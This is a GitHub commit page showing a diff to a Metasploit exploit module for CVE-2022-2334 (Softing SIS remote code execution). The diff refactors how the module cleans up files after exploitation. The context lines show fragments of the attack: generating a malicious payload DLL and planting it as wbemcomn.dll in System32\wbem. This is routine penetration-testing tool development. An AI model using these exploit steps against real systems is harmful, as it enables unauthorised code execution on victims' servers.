Skip to content

Commit 8d6a206

Browse files
committed
Attempt to improve file cleanup functionality
1 parent afd4b8a commit 8d6a206

File tree

1 file changed

+4
-20
lines changed

1 file changed

+4
-20
lines changed

modules/exploits/windows/http/softing_sis_rce.rb

Lines changed: 4 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -185,7 +185,7 @@ def exploit
185185
# have MSF create the malicious DLL
186186
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334')
187187
datastore['EXE::Path'] = path
188-
datastore['EXE::Template'] = ::File.join(path, "template_x64_windows.dll")
188+
datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')
189189

190190
print_status('Generating payload DLL...')
191191
dll = generate_payload_dll
@@ -258,31 +258,15 @@ def exploit
258258
vprint_error("#{peer} - #{restore_config_res_json}")
259259
fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{restore_config_res.code}, could not restore configuration!"
260260
end
261-
262-
# if the exploit was successful, register the malicious wbemcomn.dll file for cleanup
263-
register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll')
264261
end
265262

266263
# clean up the planted DLL if the session is meterpreter
267264
def on_new_session(session)
268265
super
269266

270-
if session.type != 'meterpreter'
271-
print_error('Meterpreter not used. Please manually remove C:\\Windows\\System32\\wbem\\wbemcomn.dll')
272-
return
273-
end
274-
275-
# load stdapi
276-
session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')
277-
278-
begin
279-
files = session.fs.file.search('C:\\Windows\\System32\\wbem', 'wbemcomn.dll')
280-
files.each do |f|
281-
print_warning("Deleting: #{f['path'] + '\\' + f['name']}")
282-
session.fs.file.rm(f['path'] + '\\' + f['name'])
283-
end
284-
rescue StandardError => e
285-
print_error("Unable to delete - #{e}")
267+
unless file_dropper_delete_file(session, 'C:\\Windows\\System32\\wbem\\wbemcomn.dll')
268+
# if the exploit was successful, register the malicious wbemcomn.dll file for cleanup
269+
register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll')
286270
end
287271
end
288272

0 commit comments

Comments
 (0)